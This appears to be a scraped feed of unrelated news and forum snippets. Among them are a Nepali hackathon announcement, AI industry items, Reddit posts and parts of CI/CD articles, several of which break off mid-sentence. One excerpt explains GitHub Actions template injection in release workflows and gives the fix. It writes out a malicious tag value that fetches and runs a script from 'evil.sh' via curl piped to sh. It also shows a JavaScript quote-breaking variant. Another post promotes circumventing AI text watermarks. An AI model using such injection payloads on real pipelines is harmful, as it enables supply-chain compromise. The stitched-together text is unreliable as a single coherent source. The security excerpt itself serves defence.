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Pet owners, rescue agencies, and wildlife groups are calling for new safeguards as AI makes it harder to tell whether animals, from polar bears to house cats, are real or fake.
MBMC IdeaX 2026 is a national technology hackathon organized by Madan Bhandari Memorial College in Kathmandu, Nepal. Registration opened on 28th Shrawan 2083 (13th Aug) and closes on 16th Bhadra (1st Sept). The Online Round runs from 21st–28th Bhadra (6th–13th Sept), followed by the Final On-Site Hackathon Event from 16th–18th Ashoj (2nd–4th Oct). Participants will develop innovative technology solutions across five problem tracks: Climate Change, Resilience & Sustainability; Tourism; E-Governance & Smart Public Services; Smart Urban Transport & Road Safety; and FinTech & Digital Financial Innovation. Visit: https://ideax.mbmc.edu.np/ for more details and registration.
There is one line of YAML I have been chasing across open source for months: run : | TAG="${{ github.event.release.tag_name }}" It looks like reading a variable. It is not. ${{ ... }} is a template expression . GitHub substitutes it as raw text into the script before bash ever parses the line. By the time the shell runs, there is no variable — there is whatever the tag name happened to be, pasted directly into your program. So a tag named: v1.0 "; curl evil.sh | sh; echo " is not compared. It runs. Why it is always the release workflow You could write this bug anywhere. In practice it clusters in exactly one place: the workflow that publishes. That is not a coincidence. Release workflows are where you handle version strings, tag names, and workflow_dispatch inputs — the values that feel like configuration rather than user input. And release workflows are also where the interesting credentials live: permissions : id-token : write # Trusted Publishing to PyPI The two facts meet. The job most likely to contain the bug is the job holding the token that publishes to every one of your users. The JavaScript variant is worse actions/github-script has the same flaw, but people miss it because the block looks like a script file: - uses : actions/github-script@v7 with : script : | const tag = '${{ env.RELEASE_TAG }}'; That script: body is JavaScript source . The expansion happens before it is parsed, so a single quote in the value closes the string literal and the rest is evaluated as code. And a tag name absolutely can contain a single quote. git check-ref-format rejects spaces, ~ , ^ , : , ? , * , [ and backslash. It does not reject ' . The fix is three lines Pass the value through env . An environment variable is only ever data — it is never re-parsed as source text. # Before run : | TAG="${{ github.event.release.tag_name }}" # After env : RELEASE_TAG : ${{ github.event.release.tag_name }} run : | TAG="$RELEASE_TAG" Same for the JavaScript case — process.env.RELEASE_TAG ins
New findings shed light on what’s making the parasite less treatable using the drug that’s considered a first line of defense.
Puzzles and games have been central to AI development since the very beginning. Just as we humans like to test our smarts with crosswords or logic puzzles, developers can test how far models have advanced with a gaming gauntlet. The term “machine learning” was popularized in a 1959 article by the IBM computer scientist Arthur…
When my oldest child was born, I immediately set up Gmail and Twitter accounts in her name. I broadly announced her birth online and proceeded to plaster her photo across all sorts of platforms. In short, I began creating her digital footprint long before she could stand on her own two feet. Fast-forward a couple…
It’s a glorious day in Kirkland, Washington, an affluent Seattle suburb on the eastern shore of Lake Washington. The temperature is in the mid-80s, and the sky is incapable of being any more blue. The view from the Gates Ventures conference room overlooks the Carillon Point Marina, where a flotilla of expensive boats bob in…
Why are AI scientists so adamant that frontier model LLMs are NOT conscious or sentient? submitted by /u/DoublePassRadiator [link] [留言]
Honestly, when I saw the headline "Someone in Korea used AI to cut the prep time for a dose of Korean herbal medicine from 300 minutes to 5," the first thing that caught my eye wasn't "whoa, robots can make herbal medicine now." It was how they did it—because they happened to get right the one thing most people get wrong when they think about applying AI. What Onerve Did Let's start with the facts. There's a Korean startup called Onerve (오너브), backed by the Korea Institute of Oriental Medicine, working on automating the manufacturing of Korean herbal medicine (한약). Their system is called HAP. It connects AI with electronic medical records (EMR) to automate the entire flow—from prescription input, to manufacturing, cleaning, packaging, and inventory management. The key is the raw material: they use standardized, freeze-dried herbs in a "cartridge" format—turning herbs that used to require on-site boiling and heavy manual labor into uniform, standardized modules. The result: prep time for a single dose of Korean herbal medicine dropped from around 300 minutes to around 5. They won a CES Innovation Award and closed a Series A round of roughly 6.2 billion won. And they're not alone—another Korean company, Camelotech (with its Cameleon system), is doing almost the same thing and also showed up at CES. So "Korean herbal medicine automation" is turning from a one-off experiment into an actual category. What I'm Actually Paying Attention To Isn't the Speed—It's Which Layer They Automated If all you take away from this is "300 minutes became 5," you're missing the most important part. When people see AI moving into an industry with a thousand-plus years of tradition behind it, the gut reaction is usually panic: "Are even Korean medicine doctors about to get replaced by AI?" But if you look closely at what Onerve actually automated—it's the manufacturing , not the diagnosis and prescribing . Deciding which medicine a person should take, how to adjust the dosage, how to read t
I hope this is okay to share since it is not self promotion and it is open source. Some of my friends were let go as part of an "AI Transformation". So they got together and created Open Executive as a tool to replace the CEO and other executives. Hopefully, turnabout is fair play and might even get some folks to think twice about using AI to replace people. It is free and available here: https://github.com/SenteLabsAI/OpenExecutive submitted by /u/Fearless-Might-5439 [link] [留言]
About energy use and other topics. He has lots of supporting links. https://youtu.be/Kf4ivd0THb0 https://youtu.be/ny_3PRz6Zeg submitted by /u/silver_chief2 [link] [留言]
First Draft takes care of the busywork of video editing.
Truck driver here, zero coding background. I Built an AI news aggregator over a few evenings because I was sick of seeing the same story five times. It pulls from about a dozen AI news sources, auto-summarises each article so you get the gist without clicking through and dedupes stories covered by multiple outlets into one card instead of five separate headlines saying the same thing. I deliberately went for a no-nonsense Win98-ish look — no clutter, no bells and whistles, just the feed. Built with Next.js/Supabase, synced every two hours via GitHub Actions. No coding experience going in, mostly just kept iterating with Claude Code until it worked. Not selling anything, just proud it works and thought a few people here might actually use it. Feedback welcome :) submitted by /u/MODisclosure [link] [留言]
X has sent cease-and-desist letters to Nitter, the open source project behind privacy-friendly X frontends, demanding its instances and code repository be taken down over alleged scraping.
It's my article, it is about how to circumvent any even theoretical optimal AI watermark based on statistical biases via pseudorandom generators like Google's SynthID. Let me know what you guys think. Generally, I do not think watermarking is the right solution, hence I am sharing my idea how to circumvent it. How many thesises are out there that are basically slop but made with human effort. Now text length is not a valid measure anymore, you actually have to do some real research. I think that is awesome. submitted by /u/JulianHabekost [link] [留言]
OpenAI has introduced an Admin plugin for ChatGPT Work and Codex. It lets workspace admins review activity and credit usage, manage members and groups, check permissions, and adjust usage limits from a conversation. The plugin stays inside each admin's existing role and permissions. OpenAI says it shows what was requested, whether it completed, and what changed. It can also route some requests for approval in Slack or Microsoft Teams. The practical part is the control layer. An admin tool that can change workspace settings needs clear permissions, approval steps, and a result people can audit. Source: https://openai.com/index/introducing-admin-plugin/ Supporting report: https://www.tradingview.com/news/reuters.com,2026:newsml_L8N44M1HY:0-openai-says-introducing-the-admin-plugin-for-chatgpt-work-and-codex/ submitted by /u/Codeblix_Ltd [link] [留言]
I've supposed their approach based on their website, they are of course more complex. I set up a local "Agent Arena" ( qwen2.5-coder:14b on an RTX A4500) to test 5 AI agent frameworks on an ultra-strict coding task. Classic multi-agent "swarms" either hallucinated success, burned 500k+ tokens in pointless debates, or rubber-stamped completely off-topic code. Only frameworks relying on mechanical grounding (actual compilers/linters) rather than an "LLM critic" produced viable results. The Challenge: The "Triple Constraint" I asked each framework to build an Authentication & Rate Limiting middleware in Rust that had to satisfy three contradictory constraints: Absolute Security: Cryptographic hashing ( sha2 ) and timing-attack protection ( subtle::constant_time ). Performance: Under 1ms latency under a 10k request load. Strict Quality: 100% unit test coverage, and 0 clippy warnings. The Golden Rule: Exact same local model for everyone ( qwen2.5-coder:14b ), isolated environments (sandboxes), same scaffolding. No cheating via paid external APIs. Autopsy of the Results (How they failed) 1. AutoGen: The Token Sink (Blind debate) The Approach: A GroupChat (Coder ↔ SecurityCritic ↔ PerfCritic). What happened: The agents debated in circles for 6 rounds, burning through 517,000 tokens . They eventually reached a "consensus"... on an off-topic script measuring latency instead of handling authentication. The critic agent rubber-stamped a completely flaky test. 2. CrewAI: The Rubber Stamper The Approach: Hierarchical chain (Architect → QA → Reviewer). What happened: The code is mechanically green (tests and clippy pass), but the logic drifted entirely. It coded a WebSocket handshake, completely ignoring cryptographic hashing and constant-time execution. The QA "Reviewer" saw the code compile and green-lit the whole thing without checking the original specs. 3. MetaGPT: Process Hallucination The Approach: "Software Company" cascade (SOP). What happened: It generated an almost emp
Instagram says the process can produce a first pass in under 10 seconds, potentially saving creators significant editing time while making video creation more approachable for people who don't have much experience with editing software.
Understanding unique photochemistry of such materials will help in conservation, storage, and exhibition.
Part 1 covered the mechanism: a fingerprint gate decides whether a change ships in minutes over-the-air or needs a full store release. But a gate that only checks "is this native-safe" says nothing about whether the change is good . If every merge to main can reach production within minutes, your safety net can't be a release train that gives everyone time to notice a problem before it ships — it has to be built into the pipeline itself, because there's no train to catch it on the way out. The PR gate Every pull request into main runs through the same automated gate before it's mergeable: a type check, a lint pass, an automated test suite, and end-to-end checks against a real device build. None of that is negotiable — it's the floor, not a nice-to-have. E2E is a big enough topic on its own — closing the loop between what a unit test can see and what actually happens on a phone in someone's hand — that it deserves its own dedicated post rather than a paragraph here. jobs : typecheck : run : npm run typecheck lint : run : npm run lint test : run : npm test e2e : run : npm run e2e Nothing exotic under the hood — ESLint for the lint pass, Husky for local pre-commit/pre-push hooks so the same checks catch you before CI even runs, Jest as the test runner, and React Native Testing Library for component-level tests. Popular, boring, well-documented tooling on purpose — the pipeline's value is in how these are wired together and gated, not in any one tool being clever. Feature flags are the real safety valve Here's the entry condition that makes OTA-from- main safe at all: shipping code and releasing a feature are two different actions. A merge can put new code on every user's device within minutes — that's deploy. Whether that code actually does anything visible is a separate switch, controlled by a remote feature flag, not by whether the code merged. That decoupling is what makes trunk-based development survivable. Nobody has to get the timing of a merge exactly right, bec